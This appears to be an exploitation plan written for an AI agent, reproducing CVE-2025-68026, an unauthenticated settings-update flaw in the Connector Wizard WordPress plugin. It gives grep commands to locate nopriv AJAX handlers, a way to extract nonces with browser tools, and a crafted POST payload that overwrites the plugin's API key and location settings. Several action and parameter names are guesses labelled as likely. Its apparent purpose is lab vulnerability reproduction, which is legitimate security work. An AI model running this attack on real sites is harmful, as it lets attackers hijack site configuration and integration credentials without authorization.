LC Wizard <= 2.1.1 - Missing Authorization to Unauthenticated Settings Update

This research plan focuses on CVE-2025-68026, a missing authorization vulnerability in the Connector Wizard (formerly LC Wizard) plugin for WordPress. This vulnerability allows unauthenticated attackers to modify plugin settings by exploiting an AJAX handler that lacks proper capability checks.

---

1. Vulnerability Summary

• Vulnerability: Missing Authorization (CWE-862)
• Affected Plugin: Connector Wizard (ghl-wizard)
• Vulnerable Version: <= 2.1.1
• Patch Version: 2.1.2
• Core Issue: The plugin registers an AJAX action intended for settings management but fails to implement current_user_can() checks. Furthermore, the handler is registered via wp_ajax_nopriv_, making it accessible to users who are not logged in.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• HTTP Method: POST
• Action (Inferred): Likely ghl_save_settings, ghl_wizard_save_settings, or lc_wizard_update. (The agent must grep for wp_ajax_nopriv_ to confirm the exact string).
• Parameters: Likely a JSON payload or a set of POST variables representing plugin settings (e.g., ghl_api_key, ghl_location_id, ghl_settings).
• Authentication: Unauthenticated (PR:N).
• Preconditions: The plugin must be active.

3. Code Flow Trace

1. Entry Point: The plugin registers an AJAX handler in its initialization or constructor:
   add_action('wp_ajax_nopriv_[ACTION_NAME]', 'callback_function');
add_action('wp_ajax_[ACTION_NAME]', 'callback_function');
2. Dispatcher: admin-ajax.php receives a request with the action parameter matching [ACTION_NAME].
3. Vulnerable Function: The callback_function is invoked.
4. Authorization Failure: The function performs operations like update_option() or update_site_option() without calling current_user_can('manage_options').
5. Sink: User-controlled input from $_POST is passed directly into the WordPress settings database.

4. Nonce Acquisition Strategy

Missing authorization vulnerabilities often include missing or weak CSRF protection. However, if a nonce is required:

1. Identify Shortcode: Search for shortcodes used by the plugin:
   grep -rn "add_shortcode" /var/www/html/wp-content/plugins/ghl-wizard/
2. Identify Localized Script: Look for wp_localize_script to find the JavaScript object name:
   grep -rn "wp_localize_script" /var/www/html/wp-content/plugins/ghl-wizard/
3. Setup Page: Create a post containing the identified shortcode:
   wp post create --post_type=page --post_status=publish --post_content='[SHORTCODE_NAME]'
4. Extraction:
   • Navigate to the page using browser_navigate.
   • Extract the nonce via browser_eval:
     browser_eval("window.ghl_wizard_obj?.nonce") (Replace ghl_wizard_obj and nonce with actual keys found in Step 2).

Note: If check_ajax_referer is entirely absent in the callback, no nonce is needed.

5. Exploitation Strategy

Step 1: Locate the Vulnerable Handler
Search the plugin directory for the registration of unauthenticated AJAX actions:

grep -r "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/ghl-wizard/

Step 2: Analyze the Callback
Examine the callback function for:

• Missing current_user_can checks.
• The parameter names expected for updating settings.
• The specific option name being updated (e.g., ghl_wizard_settings).

Step 3: Craft the Exploit Request
Assuming the action is ghl_wizard_save_settings and the settings are passed in a parameter called settings:

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=ghl_wizard_save_settings&nonce=[NONCE]&settings[api_key]=EXPLOITED_KEY&settings[location_id]=EXPLOITED_ID
  

Step 4: Execute via http_request
Use the http_request tool to send the payload.

6. Test Data Setup

1. Activate Plugin: Ensure ghl-wizard is active.
2. Initial State: Check the current value of the plugin's settings via WP-CLI:
   wp option get ghl_wizard_settings (Replace with actual option name).

7. Expected Results

• Response Code: 200 OK or 302 Redirect.
• Response Body: Likely a JSON success message (e.g., {"success": true}).
• Database Impact: The targeted WordPress option in the wp_options table is updated with the attacker-supplied value.

8. Verification Steps

After sending the exploit request, verify the change using WP-CLI:

# Check if the setting was updated to the "EXPLOITED_KEY" value
wp option get ghl_wizard_settings

9. Alternative Approaches

• Action Overloading: If the AJAX action requires a specific "type" or "sub-action" parameter, check if it can be manipulated to reach different update_option calls.
• REST API: Check if the plugin registers any REST API routes (register_rest_route) without a permission_callback.

  grep -r "register_rest_route" /var/www/html/wp-content/plugins/ghl-wizard/
  

• Direct Post: If the plugin hooks into init or admin_init and checks $_POST['ghl_wizard_save'] directly, an AJAX request may not be necessary; a standard POST to the homepage might suffice.